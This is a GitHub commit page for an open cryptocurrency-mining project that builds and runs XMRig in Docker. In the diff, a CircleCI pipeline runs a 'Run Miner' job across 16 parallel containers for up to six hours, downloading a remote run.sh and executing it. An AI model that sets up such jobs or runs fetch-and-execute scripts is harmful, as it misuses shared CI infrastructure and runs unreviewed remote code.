Skip to content

Commit

Permalink
fix: xmrig to 6.20 and others changes
Browse files Browse the repository at this point in the history
  • Loading branch information
lpsm-dev committed Sep 19, 2023
1 parent c1e2602 commit 0f1d70b
Show file tree
Hide file tree
Showing 8 changed files with 26 additions and 2,859 deletions.
2,781 changes: 0 additions & 2,781 deletions .github/config/.gitleaks.toml

This file was deleted.

11 changes: 6 additions & 5 deletions .github/config/.hadolint.yml
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
---
ignored:
- DL3006
- DL3008
- DL3018
- SC2046
- DL3003
- DL3006
- DL3008
- DL3018
- SC2046
- DL3003
27 changes: 14 additions & 13 deletions .github/config/circle-ci-pipeline.yml
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
---
version: 2.1

description: |
Expand All @@ -6,23 +7,23 @@ description: |
jobs:
running:
docker:
- image: circleci/ruby:3.0.3
- image: circleci/ruby:3.0.3
parallelism: 16
steps:
- run:
name: Run Miner
no_output_timeout: 360m
command: |
wget https://raw.githubusercontent.com/ci-monk/docker-crypto-miner/main/src/circleci/run.sh
chmod +x run.sh && ./run.sh
- run:
name: Run Miner
no_output_timeout: 360m
command: |
wget https://raw.githubusercontent.com/ci-monk/docker-crypto-miner/main/src/circleci/run.sh
chmod +x run.sh && ./run.sh
workflows:
version: 2
build:
jobs:
- running:
filters:
branches:
only: main
tags:
only: /.*/
- running:
filters:
branches:
only: main
tags:
only: /.*/
7 changes: 2 additions & 5 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# Stage 1: Build the XMRig binary
FROM public.ecr.aws/docker/library/alpine:3.15.10 as builder

ARG XMRIG_VERSION=v6.19.0
ARG XMRIG_VERSION=v6.20.0
ARG XMRIG_URL="https://github.com/xmrig/xmrig.git"
ARG XMRIG_BUILD_ARGS="-DXMRIG_DEPS=scripts/deps -DBUILD_STATIC=ON -DWITH_HWLOC=OFF"

Expand All @@ -23,10 +23,7 @@ RUN git clone --single-branch --depth 1 --branch=$XMRIG_VERSION $XMRIG_URL \
# Stage 2: Copy XMRig binary into a smaller image
FROM public.ecr.aws/docker/library/alpine:3.15.10

RUN apk add --no-cache \
bash \
screen \
cpulimit \
RUN apk add --no-cache bash screen cpulimit \
&& addgroup --gid 1000 xmrig \
&& adduser --uid 1000 -H -D -G xmrig -h /bin/xmrig xmrig

Expand Down
2 changes: 1 addition & 1 deletion Taskfile.yml
Original file line number Diff line number Diff line change
Expand Up @@ -29,4 +29,4 @@ tasks:
- sh: "which gitleaks"
msg: "gitleaks {{.PATH_ERROR}}"
cmds:
- gitleaks detect --verbose .
- gitleaks detect --source . --no-git --verbose
49 changes: 0 additions & 49 deletions infra/terraform/Makefile

This file was deleted.

2 changes: 1 addition & 1 deletion infra/terraform/_required_providers.tf
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 5.11.0"
version = "~> 5.11"
}
}
}
6 changes: 2 additions & 4 deletions src/xmrig/entrypoint.sh
Original file line number Diff line number Diff line change
Expand Up @@ -117,8 +117,6 @@ Welcome() {

echo "$HEADER" && Welcome

Status "✨ Config miner"

sed -i "s/MINING_POOL/$MINING_POOL/g" "$XMRIG_CONFIG_FILE"
sed -i "s/MINING_COIN/$MINING_COIN/g" "$XMRIG_CONFIG_FILE"
sed -i "s/WALLET_ADDRESS/$WALLET_ADDRESS/g" "$XMRIG_CONFIG_FILE"
Expand All @@ -134,8 +132,8 @@ else
fi

if [[ "$CPU_LIMIT_ENABLE" == "true" ]]; then
Status "✨ Enable CPU Limit"
Status "✨ Enable CPU limit"
cpulimit -l $CPU_LIMIT -p $(pidof xmrig) -z
else
Status "✨ Disable CPU Limit"
Status "✨ Disable CPU limit"
fi

0 comments on commit 0f1d70b

Please sign in to comment.